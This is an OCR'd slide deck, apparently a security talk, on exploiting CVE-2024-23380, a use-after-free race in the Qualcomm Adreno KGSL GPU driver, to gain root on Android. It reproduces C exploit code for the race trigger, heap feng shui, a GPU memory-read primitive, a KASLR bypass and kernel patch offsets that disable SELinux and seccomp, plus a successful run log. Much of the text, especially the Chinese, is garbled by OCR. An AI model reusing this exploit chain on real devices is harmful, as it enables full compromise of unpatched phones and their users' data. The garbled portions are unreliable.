— 2 @ g,

=18 GPU KGSLIR 7 ik 5 A1) ) 45 &)

H e X



K

> R H & FoGPU 4 K s

> KGSLE — ke AS1 % 4 #|UAF

» KGSLE = k2. AAUAFZ| A4z 453 5
> R4






A

e diE B

s

PN

» 2024%#8 A, Google#Android Red Team & A #£ & T — 4 & @ GPU 38 3 4
UAF % ia CVE-2024-23380, 4480 XNk iR, & % T 14 % & APP e A&
# # #| % 4.root.

> & A EH AT hpoc/exploit, ik LA A F 4o iT R AR R 6 F] Ao



N4 2&EGPU

> AOSPAHFEABL R FBIAR
> 2025t H, AOSPEAEAMH sk &

Android Security Bulletin—July 2025 = -

Published July 7, 2025

The Android Security Bulletin contains details of security vulnerabilities affecting Android devices. Security
patch levels of 2025-07-05 or later address all of these issues. To learn how to check a device's security
patch level, see Check and update your Android version.

Android partners are notified of all issues at least a month before publication. Source code patches for these
issues will be released to the Android Open Source Project (AOSP) repository in the next 48 hours. We will
revise this bulletin with the AOSP links when they are available.

Announcements

W There are no Android security patches in the July 2025 Android Security Bulleting

Refer to the Android and Google Play Protect mitigations section for details on the Android security platform
protections and Google Play Protect, which improve the security of the Android platform.
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untrusted = uid=2000 b uid=1000 . uid=0(root)
app (shell) (system)

d

GPU driver untrusted app — GPU': Ve




Adreno GPU

> EiES A EEF 2% H Qualcomm® Adreno™ GPU #2457 5.,
Adreno GPU 2 —iK =% (3D) BEn#E2s, BA 64 I akThge, NEE
ENT- (GMEM). GMEM ATEEIIE T R4ati T H N A7, FEBIINPRE Z.

PR AR TE 2 -

Wayland client Weston (Compositor)

1. Application calls
EGL/OpenGLES 5. EGL/Commit render
surface to Wayland

6. Sends rendered
surfaces for composition

2. Sets registry and
callbacks during rendering
—> .
Aayendpotice 9. Sends final composed

3. Gets Wayland . buffer to display DRM
3 backbuffer for rendering Adreno GPU driver
Graphics buffer

management

7. Gets GBM surface for

composing the render frame 8. Submits render frame for
composition to GPU Drm-backend (display)

4. Submits to KGSL using

swapbuffer/glflush/glfinish to 10. Submits buffer to

render with OpenGL ES display kernel

KGSL driver Display Kernel driver

User space

Hardware

Adreno GPU Adreno DPU
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Unprivileged app > )Eﬁ):ljilﬂs%ﬂz /deV/ksgl‘#iﬁlﬁ‘lKGSLgIB
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» GPU MMU Manager5IOMMUREH:-&1E
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KGSL GPU kernel module » Shared memory ManagergIEFHF&-

SRR X
Manager
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> EEGPUIKSNERME T — & 514 0 FH T #AEGPUR BN AF
» IOCTL_KGSL GPUMEM_ALLOCH T HiEGPURM %

GPU Basic Memory Object Allocation

IOCTL_KGSL_GPUMEM_ALLOC ioctl:

1. Allocate number of requested

physical pages

User-space Virtual Memory
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> FIEGPURBIGEM | — R 518 0 T #RIEGPURIE L AT
» IOCTL_KGSL_GPUMEM_ALLOC/ IOCTL_KGSL_GPUOBJ_ALLOCH T HiEGPUN %

int kgsl_gpu_alloc(int fd, uint64_t flags, uint64_t size)
{

struct kgsl_gpuobj_alloc obj;

memset (&obj, 0, sizeof(obj));

obj.flags = flags;

obj.size = size;

if (ioctl(fd, IOCTL_KGSL_GPUMEM_ALLOC, &obj)) {

perror("[-] ioctl IOCTL_KGSL_GPUMEM_ALLOC failed");
return -1;
} else {
debug("IOCTL_KGSL_GPUMEM_ALLOC: id:%d size:%1l1lx\n", obj.id, obj.size);

}

return obj.id;
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> IOCTL_KGSL GPUCES SIS
OC

1. 73 Beis >R K42 T

2. TEGPU BRI it — b
1y [l (Range)

3. K4 73 Fic 47 B0 T PR S )
GPU JE fUl i bk v [

4. ¥E bt mmap 2 1 E
|B] FE U N AT (T )

User-space Virtual Memory
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» fl#kgsl_mem_entryFlkgsl_memdesc
25K

> kgsl_memdesc 2t & Yy HE i bk A A AL
Hiv k1 BILSRHE 2

kgsl_mem_entry LY » G P U E[’(J M M U 5"_&' fmq:@ }E ﬁ Hy% Ej‘ ?U G P U E EFU»

I ik

flags 1ZHIBREIHR
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» kgsl_mem_entry

struct kgsl_mem_entry {

> refCOUﬂTi+§&%§%$}E struct kref refcount;
struct kgsl_memdesc memdesc;
» kgsl_memdesc; i i
struct rb_node node;
> id WX SAR AT id; | |
struct kgsl_process_private *priv;
\ Sy pending_free;
» mequ\ngﬁﬁ%ﬁﬁFmﬁ@E, metadata[KGSL_GPUOBJ_ALLOC_METADATA_MAX + 1];
@Uﬁulﬁﬁt*mﬁ struct work_struct work;

map_count;
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struct kgsl_memdesc {
struct kgsl_pagetable *pagetable;
hostptr;
- hostptr_count;
gpuaddr;
physaddr;

» kgsl_memdesc Ml

priv;

> ngOddr GPU@TD\;[:H_J‘:[:J& struct sg_table *sgt;

const struct kgsl_memdesc_ops *ops;

» physaddr Bt 4 HbhE s e

> Size H;%EQLEI@ lj\]ﬁj(d\ struct page #**pages,

page_count;

> kgsl_memdesc_ops *ops#E1E k%L
%% ’ iﬁ%ﬁ@ﬂﬁlﬁ'?ﬂﬁ%@ﬁ@ﬁé lock;

struct file *shmem_filp;

struct rb_root_cached ranges;

struct mutex ranges_lock;

u32 gmuaddr;
}i
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» IOCTL_KGSL_GPUOBJ_ALLOC
» FLAG KGSL_MEMFLAGS_VBO

kgsl_vbo_entryz=#& s —>zero page

MMU

User-space Virtual Memory
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» IOCTL_KGSL_GPUMEM_BIN
D_RAGES

IR 4R 5E N A7

Arie: P E Hioct! o fc 7 A
ksgl_mem_entry(A/B)

P ATioctlin &
1. ¥kgsl_vbo_entry zero_pagefi#4i e

User-space Virtual Memory
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» |OCTL_KGSL. GPUMEM_BIN L . |
D RAGES

IR 4R %€ N A7

ArEE: P E Hioct o fc 7 b A
ksgl_mem_entry(A/B)

HATioct i 4

1. ¥kgsl_vbo_entry Mzero_pagefit gk &

2. ¥t A/B4RE Flkgsl_vbo_entry (refcount+1)
3. B A/BRIYIFEHLAESE 2 Bvibo_entry

User-space Virtual Memory



S
il
-~
=i
2T

» IOCTL_KGSL_GPUMEM_BIN
D_RAGES

U] 45 5 N AT

ArEE: FH P Hioctl 2 BL 7 A
ksgl_mem_entry(A/B)

P ATioctlin 4

1. ¥kgsl_vbo_entry Mzero_pagefit gk &

2. ¥t A/B4RE Flkgsl_vbo_entry (refcount+1)
3. B A/BRIYIFR LSS E Bvibo_entry

4 RSt 2 FH P 2 [ (RT3t )

User-space Virtual Memory
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» |IOCTL_KGSL_GPUMEM_BIND_RAGES

ER(EESE

kgsl mem entry *target,
kgsl mem entry *entry, u64 offset)

kgsl memdesc add range(
u64 start, u64 last,

interval tree node *node, *next;
kgsl memdesc *memdesc = &target->memdesc;
kgsl memdesc bind range *range =

bind range create(start, last, entry);

ret = 0;

if (IS ERR(range
return PTR_ERR(range) ;

mutex lock(&memdesc->ranges lock);

Mutexii

241
interval tree insert(&range->range, &memdesc->ranges);

trace kgsl mem add bind range(target, range->range.start,
range->entry, bind range len(range));
mutex unlock(&memdesc->ranges lock);

n kgsl mmu map child(memdesc->pagetable, memdesc, start,
&entry->memdesc, offset, last - start + 1);

etur

i Sk B HHE Bl vbo

->kgsl_memdesc_add_range

kgsl mem entry *target,
kgsl mem entry *entry, u64 offset)

kgsl memdesc add range(
u64 start, u64 last,

{
interval tree node *node, *next;
kgsl memdesc *memdesc = &target->memdesc;
kgsl memdesc bind range *range =
bind range create(start, last, entry);
ret = 0;
if (IS _ERR(range))
return PTR_ERR(range) ;
mutex lock(&memdesc->ranges lock);
241 ret = kgsl _mmu _map child(memdesc->pagetable, memdesc, start,

&entry->memdesc, offset, last - start + 1);
if (ret)
goto error;

interval tree insert(&range->range, &memdesc->ranges);
trace kgsl mem add bind range(target, range->range.start,
range->entry, bind range len(range));

mutex unlock(&memdesc->ranges lock);

return ret;

K 3E S
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» |IOCTL_KGSL_GPUMEM_BIND_RAGES ->kgsl_memdesc_add_range
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kgsl_mmu_map_childiZ 4 2
B B k4R 2 Flvbo.
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kgsl memdesc add range

LU Mhinls
#HATKgSI_mmu_map_child#][H R

[ AR 2 B 5 A — AR T - T T T
kgsl_memdesc_add_ranger) p{ mutex_tock Gnendese.>ranges_tock);

range = bind to range(node
lentry | range->entry->
(kgs1l mmu unmz ange emdesc->pagetable
nemdesc, range->range.start, bind_range_le
interval_tree_remove(node, &memdesc

kgsl mem entry put(range->entry);
kfree(range);

mutex_unlock(&memdesc->ranges

kgsl mmu map child(memdesc->pagetable, memdesc, st
&entry->memdesc, offset, la
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thread1 thread2 main
Bind_range Remove_range

1.mem_entry48 &4
vbo_entry(refcount++)

2 R Ervbo_entry F4
HihkgE RO

3. B mem_entry il
vbo_entry 148 e
(refcount--)

4 kgsl_mmu_map_child

P B S5 5 2
vbo_entry

5.8 mem_entry, Kt
Vs bt R . S B
UAF
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thread1 thread2 main
Bind_range Remove_range

1.mem_entry4f & 4
vbo_enftry(refcount++)

2 R Ervbo_entry F4
HihkgE RO

3. B/imem_entry#
vbo_entry 145 &

(refcount--)

4 kgsl_mmu_map_child
P E R RS0 E 2]
vbo_entry

5.8 mem_entry, Kt
Vs bt R . S B
UAF
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thread1 thread2 main
Bind_range Remove_range

1.mem_entry4f & 4
vbo_enftry(refcount++)

2 R Ervbo_entry F4
HihkgE RO

3. B mem_entry il
vbo_entry 148 e
(refcount--)

4. kgsl_mmu_map_child

¥ k5% e B
vbo_entry

5.8 mem_entry, Kt
Vs bt R . S B
UAF
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thread1 thread2 main

Bind_range Remove_range

1.mem_entry4f & 4
vbo_enftry(refcount++)

2 R Ervbo_entry F4
HihkgE RO

3. B mem_entry il
vbo_entry 148 e
(refcount--)

4 kgsl_mmu_map_child
P E R RS0 E 2]
vbo_entry

5. mem_entry, [H

YIRS
UAF
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uint64_t gpu_trigger(int num)

int id1, id2, id3, id4;

uint64_t alloc_size = PAGE_CNT * 0x1000;

1. B HE — 1 Nkgsl_memAl—/ksgl_vibo —

id1 = kgsl_gpu_alloc(fd, KGSL_MEMFLAGS_USE_CPU_MAP, alloc_size);
if (id1 < 0)
return -1;

kgS|_VbO %%ﬁ%?%@ﬂ#@ }Eﬂ']_j‘iﬂ: : )Sﬁ w\ Z—\‘ﬁéﬁj:% :?ic:czﬁf:;rsgip;:(c:aiz(i;_i}lt{)c_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, idl * 0x1000);

perror("[-] cpu_buffer mmap failed");

Wi, 7S Hkgsl_get_infofREXGPU VAL, g

debug (" cpu_mmapl %p\n", cpu_mmapl);

ﬁlOCTL%Eé\ﬁ//{fi‘f\ig o memset (cpu_mmapl, 'A', alloc_size);

//alloc vbo obj
id3 = kgsl_gpu_alloc(fd, KGSL_MEMFLAGS_VBO, alloc_size); //i&%HCPU_MAPIEIN
if (id3 < @)

return -1;

gpu_addr = kgsl_get_info(fd, id3);
if (!gpu_addr)
return -1;

// race

pthread_t t1;

struct bind_arguments bind_args;

bind_args.fd = fd;

bind_args.alloc_size = alloc_size;
bind_args.obj_id = id1;//id2;

bind_args.vbo_id = id3;

pthread_create(&t1, NULL, bind_proc, &bind_args);
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uint64_t gpu_trigger(int num)
1

int id1, id2, id3, id4;

uint64_t alloc_size = PAGE_CNT * 0x1000;

1.8 %% HiE — 4 kgsl_memFl—4-ksgl_vbo —

id1 = kgsl_gpu_alloc(fd, KGSL_MEMFLAGS_USE_CPU_MAP, alloc_size);
if (id1 < 0)
return -1;
% Q s T 732 void *cpu_mmapl = mmap(@, alloc_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, idl x 0x1000);
2 GunbindZk#E (thread), fi#gtkgsl_memAiiksgl_vioo 51 (cu smapt = (void 1-1)
e e perror("[-] cpu_buffer mmap failed");
return -1;
}
debug (" cpu_mmapl %p\n", cpu_mmapl);

void »lbind_proc(void *args) -
memset (cpu_mmapl, 'A', alloc_size);

{
struct bind_arguments xbind_args = (struct bind_arguments x)args;
struct kgsl_gpumem_bind_ranges bind_ranges;
struct kgsl_gpumem_bind_range range;

//alloc vbo obj
id3 = kgsl_gpu_alloc(fd, KGSL_MEMFLAGS_VBO, alloc_size); //i&%HCPU_MAPIEIN
if (id3 < 0)

return -1;
memset (&bind_ranges, @, sizeof(bind_ranges));

memset (&range, 0, sizeof(range));

gpu_addr = kgsl_get_info(fd, id3);
if (!gpu_addr)
return -1;

bind_ranges.ranges = (uint64_t)&range;
bind_ranges.ranges_nents = 1;
bind_ranges.ranges_size = sizeo ge);
bind_ranges.id = bind_args—->vbo_id;

// race

pthread_t t1;

struct bind_arguments bind_args;

bind_args.fd = fd;

bind_args.alloc_size = alloc_size;
bind_args.obj_id = id1;//id2;

bind_args.vbo_id = id3;

pthread_create(&t1, NULL, bind_proc, &bind_args);

range.child_offset = 0;

range.target_offset = 0;

range. length = bind_args—>alloc_size;

range.child_id = bind_args—->obj_id;

range.op = KGSL_GPUMEM_RANGE_OP_UNBIND;//KGSL_GPUMEM_RANGE_OP_BIND;

step = 1;

while (step);

if (ioctl(bind_args—>fd, IOCTL_KGSL_GPUMEM_BIND_RANGES, &bind_ranges)) {
perror("[-] ioctl IOCTL_KGSL_GPUMEM_BIND_RANGES failed");

pthread_exit(0);
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1. H LB IE— 1 kgsl_mem#Al—4 ksgl_vbo
2 BliunbindZitE (thread), f#4Fkgsl_memAliksgl_vibo

3 LR FE A AT bind#/E, 4BEkgsl_memAllksgl_vibo

// race

pthread_t t1;

struct bind_arguments bind_args;

bind_args.fd = fd;

bind_args.alloc_size = alloc_size;
bind_args.obj_id = idl;//id2;

bind_args.vbo_id = id3;

pthread_create(&tl, NULL, Pind_prec, &bind_args);

struct kgsl_gpumem_bind_ranges bind_ranges;
struct kgsl_gpumem_bind_range range;

memset (&bind_ranges, 0, sizeof(bind_ranges));
memset(&range, @, sizeof(range));

bind_ranges.ranges = (uint64_t)&range;
bind_ranges.ranges_nents = 1;
bind_ranges.ranges_size = sizeof(range);
bind_ranges.id = id3;

range.child_offset = 0;
range.target_offset = 0;

range. length = alloc_size;
range.child_id = id1;

range.op = KGSL_GPUMEM_RANGE_OP_BIND;

while (!step);

step = 0;

if (ioctl(fd, IOCTL_KGSL_GPUMEM_BIND_RANGES, &bind_ranges)) {
perror("[-] ioctl IOCTL_KGSL_GPUMEM_BIND_RANGES failed");
return -1;
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/data/local/tmp $ <Joxp 11 1
IOCTL_KGSL_GPUOBJ_ALLOC: id:2 size
IOCTL_KGSL_GPUMEM_GET_INFO:
STart <.
IOCTL_KGSL_GPUOBJ_ALLOC:
cpu_mmapl Ox3ffcfoo000
IOCTL_KGSL_GPUOBJ_ALLOC:
cpu_mmap2 Ox3ff9f00000
IOCTL_KGSL_GPUOBJ_ALLOC:
IOCTL_KGSL_GPUMEM_GET_INFO: id: 5,
IOCTL_KGSL_GPUOBJ_ALLOC: id:3 size
cpu_mmap4 0x3ffcfooooo

10 2;

id:3 size

id:4 size:

1d:5 size:

1100000

size: 100000, gpuaddr: 3ffffe0000

13000000  guummm—"

3000000

3000000
size: 3000000, gpuaddr: 4000030000

: 3000000 /
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> AT REUSSEELEENIYI B AL BE S
> Hir: BNz R EEE, PASEIIBURET:. K Mselinuxas: Tt
> BRZ AL AREREERILES

» KGSL_MEM_ENTRY f) XAl F 1 -
> LIREL: A PURIAMERT, KR FFEHIEKgsl_memil =l .
> WAFEERET): Wbk Misize(d, wRyEEk, BT DUBRGT Y2 sk
> BHFE: & metadatatns, ENFETES K
P oty SN

hostptr;
hostptr_count;

gpuaddr;
physaddr;

size;
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» KGSL_MEM_ENTRYHER;

>

G5 N Emetadata, K&EH &
kgsl_mem_entry

BERFFEE, HEkgsl_memdesc

» HiZEciphysaddrilisize, 1A R

kgs1_mem_entry {
kref refcount;
kgs1l_memdesc memdesc;
*priv_data;
rb_node node;
id;
kgsl_process_private xpriv;
pending_free;
metadata
work_struct work;

paget

*hostptr;
hostptr count;
gpuaddr;
physaddr;
size;
priv;
sgt;

able:
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nostptr
gpuaddr;
physaddr;

> PAGE SHIFT

->address,

[
}

2R E LS

+ offset;

inmap kernel = kgsl paged unmap Kk

el
It gpuaddr = kgsl unmap and put gp

» = kgsl free pages,

mflags = VM DONTDUMP VM DONTEXPAND VM DONTCOPY
fault = kgsl paged vmfault,

.map kernel = kgsl paged map kernel,

"‘t,‘w,,

aar,

contiquous Tree,
= VM DONTDUMP VM PFNMAP
t = kgsl contiguous vmfault,

VM DONTEXPAND | VM [

t gpuaddr = kgsl unmap and put gpuaddr,

fi 2 B BT vmfault 4 =T vmf_insert_pfh
SR el B 4 FE i 21 i s (]

Do mmap on this kgsl_memdesc
When user space probes the mmap’ed memory, it will trigger
vmfault and setup the mapping for memdesc->physaddr
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» FHEEMopsNkgsl_contiguous_ops
» it KASLR

ffffffdd39066f60 r kgsl contiguous_ops [msm_kgsl]
ffffffdd39067020 r kgsl page ops [msm_kgs1]

Ops=kgsl_page_ops (02 07|60 93 DD FF FF FF
—kgsl_contiguous_ops Imi@. 93 DD FF FF FF

Guess these 4 bits = 16 trials
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» 23 iRkgsl_contiguous_opsAilkgsl_page opstits [El iE NOXCOAS 75 E Y .

nuwa:/
ffffffedcicc2d5e r kgsl_contiguous_ops [msm_kgsl]

nuwa: /
ffffffedcicc2e10 r kgsl_page_ops [msm_kgsl]
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int 44444L4LLLLLLLLLL
gpu id = 195

gpu id = 196

read sucess

int 4444L4LLLLLLLLLLL
gpu id = 197

read sucess

int 44444L4LLLLLLLLLL
gpu id = 198

read sucess

int 44444L444LLLLLLLLLL
gpu id = 199

read sucess

int 44444L4LLLLLLLLLL
Finsih search memdesc, no found
exploit done

failed
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> HE K E AR AR GPUN AR Nz N A7 HIE 2

void heap_fengshui(int num)
{
info("Starting heap fengshui\n");
int pid[num];
for (int i = 0; i < num; i++) {
pid[i] = do_alloc();

}
if (num == 1)
usleep(5000);

else
sleep(3);

for (int 1 = 0; i < num; i++) {

kill(pid[i], SIGKILL);

}

for (int 1 = 0; i < num; i++) {
wait (NULL);

}

ok("Finish heap fengshui\n");
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» Fohvbok A mmapitlil, FrLCLREZHHgpulfia & KisE N A7 .
» S —gpu_readall, EEE VOO AE,

static const uint64_t gpu_readall(uint64_t addr, size_t count, void *results)
{

assert(count <= 0x3000);

const uint32_t magic = rand();

size_t offset_scratch = 0x10;
size_t offset_ret = offset_scratch + 0xd00oo;
size_t offset_value = offset_scratch + 0xd0ooo + 8;
uint32_t xcmds_start = (uint32_t x)(cmd_buffer + offset_scratch);
uint32_t *cmds = cmds_start;
for (size_t i = 0; i < count; i++) {
xcmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
xcmds++ = 0;

cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_value + i % 8);
//cmds += cp_gpuaddr(cmds, addr + ix4 );
cmds += cp_gpuaddr(cmds, addr + ix8 );

xcmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);

xcmds++ = 0;

cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_value + ix8 + 4);
//cmds += cp_gpuaddr(cmds, addr + ix4 + 4);

cmds += cp_gpuaddr(cmds, addr + ix8 + 4);

xcmds++ = cp_type7_packet (CP_MEM_WRITE, 3);
cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_ret);
xcmds++ = magic;
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Kernel Patch

gpuaddr_offset = 0x190
physaddr_offset = 0x188

size_offset = 0x180
kgsl_memdeesc_ops_offset = 0x168

gpuobj_id_offset = 0x18

0x401E032BDO
Ox401E032BEO
Ox401E032BF0O
0x401E032C00
0x401E032C10
Ox401E032C20

Ox401E032C40
Ox401E032C50
Ox401E032C60
Ox401E032C70
Ox401E032C80
Ox401E032C90
Ox401E032CA0Q
0x401E032CBO
0x401E032CCO
0x401E032CDO
Ox401E032CEQ
0x401E032CF0
0x401E032D00
0x401E032D10
0x401E032D20
0x401E032D30
0x401E032D40
0x401E032D50
0x401E032D60
0x401E032D70
0x401E032D80
0x401E032D90
Ox401E032DA0O
0x401E032DBO
0x401E032DCO
0x401E032DDO
Ox401E032DE0
Ox401E032DF0

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
02 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 AQ 53 F3 3F 00 00 00

00 00 00 00 00 00 00
00 O0C 10 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
FF FF FF 00 00 00 00
BC A1 10 D@ FF FF FF
00 00 00 00 00 00 00
02 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
10 2C 84 88 FF FF FF
[ 4D 4D 4D 4D 4D 4D 4D 4D |
4D 4D 4D 4D 4D 4D 4D 4D
4D 4D 4D 4D 4D 4D 4D 4D
4D 4D 4D 4D 4D 4D 4D 4D
00 00 00 00 00 00 00 00

00 00 00 00
00 00 00 00
00 00 00 00

00 00 00 00
00 00 00 00
00 00 00 00
00 7A 1F 90 89 FF FF FF
00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

P8 04 00 00 e 00 00 00
10 7E 9F 10 D@ FF FF FF
10 DO F8 22 8@ FF FF FF
@0 3C 94 7E 88 FF FF FF
00 00 00 00 AD 4E AD DE
FF FF FF FF FF FF FF FF
28 15 9A 15 D@ FF FF FF
50 53 9F 10 D@ FF FF FF
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 060 00 00 00 00 00
00 00 060 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
Cé6 43 00 00 00 00 00 00

00 @0 4D 4D 4D 4D

00 00
"i54B 4D 4D 4D 4D 4D 4D
4D

4D 4D 4D 4D 4D 4D 4D
4D 4D 4D 4D 4D 4D 4D 4D
4D 4D 4D 4D 00 00 00 00
00 00 00

MMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMM
MMMMMMMMMMMM. . . .




Kernel Patch

5 YOY1UT1Y:

> D ?‘ physaddr addr:4123033028 physaddr:@ 00010f20:
U m p /< physize addr:4123033030 physize:3000 00010f30:
kgsl_memdeesc_ops addr:4123033048 kgsl_memdeesc_ops(kgsl_page_ops):ffff{ 00010f40:

gpuobj_id addr:4123033048 gpuobj_id:ffffffeb2fd6el0 00010150

> P h O d d r — OXO 80 'l OOOO kgsl_contiguous_ops:ffffffeb2fd60d50 kgsl_memdeesc_ops(kgsl_contiguous_ops) 00010f60:

y physaddr:a8010000 00010f70:

physsize:4000000 0001080:

5 new physaddr:a8010000 0001090:

» S |Ze s OX4000OOO new physize:4000000 00010fa0:

00000000: 3F ? s s .| @eee16fbe:
00000010: FD s el ..| @eel1efco:
00000020: F6 W...0..H@...A8.| @eel0efde:
00000030: 00 .o @.h>Q.| 00010fe0:
00000040: E8 .o ..>XJ.| eeeleffe:
00000050: 39 ....1y.| 00011000:
00000060: 41 vves oRe....F..| BO11010:
00000070: 1F e M..| 00011020:
00000080: 36 PR - N .iv.| @ee11e30:
00000090: E8 )

000000A0: 29

000000B0: 09 sigihaTacs | 0011060:
000000C0O: 01 o . h...| 00011070:
000000D0: 26 . ..70..| 00011080:
000B00ORED: 76 . .{.*%.H..R| 90011090:
000000F0: F7 .| 000110a0:
00000100: 11 cenens .19.| 000110b0:
00000110: ©D XJ.. f...|@e0l10c0:
00000120: 08 seinReCwie .Z| eeel11ede:
00000130: 15 Oy e ¢ | 060110e0:
00000140: EO

00000150: FD

00000160: 88 ..8.).-....%)I;.|00011110:
00000170: 28 . ..| @0011120:
00000180: BB M. . <.0. .a$.| 00011130:
00000190: 88 ceere ...T| 00011140:
000001A0: EO oo ?....%.M. .| 00011150:




Kernel Patch

IDA - boot_a_0x1000.sym [Users/migriane/Downloads/ & {4 %= $ [boot_a_0x1000.sym

&\,‘@ S ol omh g F. o g X :p @ O  Nodebugger

V=3 - Ay
> KEARFTEE '
Library function . Regular function [l Instruction Data Unexplored External symbol . Lumina function

N 4 Functions e o o tE:ENNETE X [@  Hex View-1 X Structures
> i 127 .kernel:FFFFFFC008000000 CODE64
Function name .kernel :FFFFFFC008000000
.kernel:FFFFFFC008000000
_text .kernel:FFFFFFC008000000
E stext .kernel :FFFFFFC008000000
. .kernel :FFFFFFC008000000 EXPORT _text
E vectors .kernel :FFFFFFC008000000 ; DATA EF: setup arch+ll4dlo
.kernel :FFFFFFC008000000 ; arm64 memblock init+FClo
¥l elit_64_sync * | .kernel:FFFFFFC008000000 ccup X18, #0, #0xD, PL
[F] elt_64_irq .kernel:FFFFFFC008000004 B primary entry
E ellt 64 fi .kernel :FFFFFFC008000004 ; End of function text
—04_1q .kernel:FFFFFFC008000004
[F] el1t_64_error .kernel:FFFFFFC008000004
. .kernel :FFFFFFC008000008
(7] el1h_64_sync -' .kernel:FFFFFFC008000009
[F] elth_64_irq ® | .kernel:FFFFFFC00800000A
3 * | .kernel:FFFFFFC00800000B
E elth_64_fiq ' .kernel:FFFFFFC00800000C
[7] elth_64_error ® | .kernel:FFFFFFC00800000D
. .kernel :FFFFFFC00800000E
[z' el0t_64_sync ' .kernel:FFFFFFC00800000F
[7] elot_64_irq .kernel :FFFFFFC008000010
I : .kernel :FFFFFFC008000011
7] elot_64_fiq ® | .kernel:FFFFFFC008000012
[7] elot_64_error .kernel :FFFFFFC008000013
.kernel :FFFFFFC008000014
(A el0t_32_sync ® | _.kernel:FFFFFFC008000015
[7] elot_32_irq * | .kernel:FFFFFFC008000016
F . » .kernel :FFFFFFC008000017
7] elot_32_fiq ® | _kernel:FFFFFFC008000018
[F] elot_32_error ‘ .kernel:FFFFFFC008000019
. .kernel :FFFFFFC00800001A
(7] ret_to_kernel ® | .kernel:FFFFFFC00800001B
[F] ret_to_user * | .kernel:FFFFFFC00800001C
” .kernel :FFFFFFC00800001D
(7] _bp_harden_el1_vectors * | .kernel:FFFFFFC00800001E
[F] _swpan_entry_ell ‘ .kernel:FFFFFFC00800001F
. .kernel :FFFFFFC008000020
(7] __swpan_entry_el0 ® | .kernel:FFFFFFC008000021

[F] _swpan_exit_ell * | .kernel:FFFFFFC008000022

. -kernel:FFFFFFC008000023
(7] _swpan_exit_el0 .kernel: FFFFFFC008000024

OO0 00000000 OPOOOOWHOOODOOOOOOO

https://github.com/marin-m/vmlinux-to-elf/blolb/master/




Kernel Patch

» =Msetuidflgetuidis £
>k Hlselinuxki i
> KHbpfli®

// kernel patch

uinté4_t __text = Oxffffffdf7fa00000;

uint64_t __secure_computing = Oxffffffdf7fce80a8 —__text -0x10000;
uint64_t cap_capable = oxffffffdf8012cdo8 —__text - 0x10000;

uint64_t selinux_capable = oxffffffdf8013cf5¢c - __text - 0x10000 ;
uint64_t selinux_enforcing_boot = Oxffffffdf821lb6aec - __text — 0x10000;

uint64_t security_capable =0xffffffdf8012e9e4 - __ text - 0x10000;

uint64_t avc_has_perm = Oxffffffdf8013a68c - __text - 0x10000;

uint64_t syscall_trace_enter = Oxffffffdf7fabe684 - __ text - 0x10000;
uint64_t bpf_get_current_pid_tgid = oxffffffdf7fd6a5b@ - __ _text - 0x10000;
uint64_t bpf_get_current_uid_gid = Oxffffffdf7fd6a608 - __ text - 0x10000;
uint64_t bpf_probe_read_kernel_str = oxffffffdf7fd2af34 - __text - 0x10000;
uint64_t bpf_probe_read_kernel = oxffffffdf7fd2ae6c - __text - 0x10000;




(base) migriane@MigrainedeMacBook-Pro exp % adb shell
nuwa:/ $ whoami
shell

> nuwa:/ $ uname -a
[EEI Linux localhost 5.15.123 #1 SMP PREEMPT Tue May 7 02:47:09 UTC 2024 aarché4 Toybox
nuwa:/ $ getprop ro.build.version.security_patch
2024-06-01
nuwa:/ $ getprop ro.build.version.release
14

nuwa:/ $ cd /data/local/tmp

nuwa:/data/local/tmp $ ./exp

[i] Start GPU exploit...

[i] Starting GPU trigger sequence...

Race GPU obj to UAF Progress: 25.0%[+]

Race GPU obj to UAF Progress: 50.0%[+]

Race GPU obj to UAF Progress: 75.0%[+]

Race GPU obj to UAF Progress: 100.0%+]

[i] Free Occupy obj num: 100

Free Occupy obj Progress: 25.0%[+]

Free Occupy obj Progress: 50.0%[+]

Free Occupy obj Progress: 75.0%[+]

Free Occupy obj Progress: 100.0%+]

[+] trigger finish...

[i] Start exploit...

[i] Starting heap fengshui

[+] Finish heap fengshui

[i] Starting heap spray

[i] heap spray num : 0x29000

Heap Spary Progress: 25.0%[+]

Heap Spary Progress: 50.0%[+]

Heap Spary Progress: 75.0%[+]

Heap Spary Progress: 100.0%[+]

[+] Finish heap spray success

[i] Searching memdesc and exploit

[+] 11111 gpu read 40240421b0: 4d4d4dsdsdsdadad

[+] Finsih search memdesc, found

[i] Try to mmap Kernel RAM

[+] Controlled gpuobj_id:@xlclda

[+] Controlled physaddr:0xe@

[+] Controlled physize:0x3000

[i] KAslr bypass

[+] Controlled kgsl_memdeesc_ops(kgsl_page_ops):0xffffffdbfe307e10

[+] New kgsl_memdeesc_ops(kgsl_contiguous_ops):0xffffffdbfe307d50

[i] Change phyaddr physize[+] New physaddr:0xa8010000

[+] New physize:0x4000000

[+] kernel mmap success

[i] Dumped memory to file kernel.bin

[i] Kernel mmaped at @x0x3ffbfeeeee[i] avc_has_perm: @x72aé8c

[i] __secure_computing: 0x2d80a8

[i] cap_capable: 0x71cdes8

[i] selinux_capable: @x72cf5c

[i] selinux_enforcing_boot: @x27abaec

[i] security_capable: 0x71e9e4
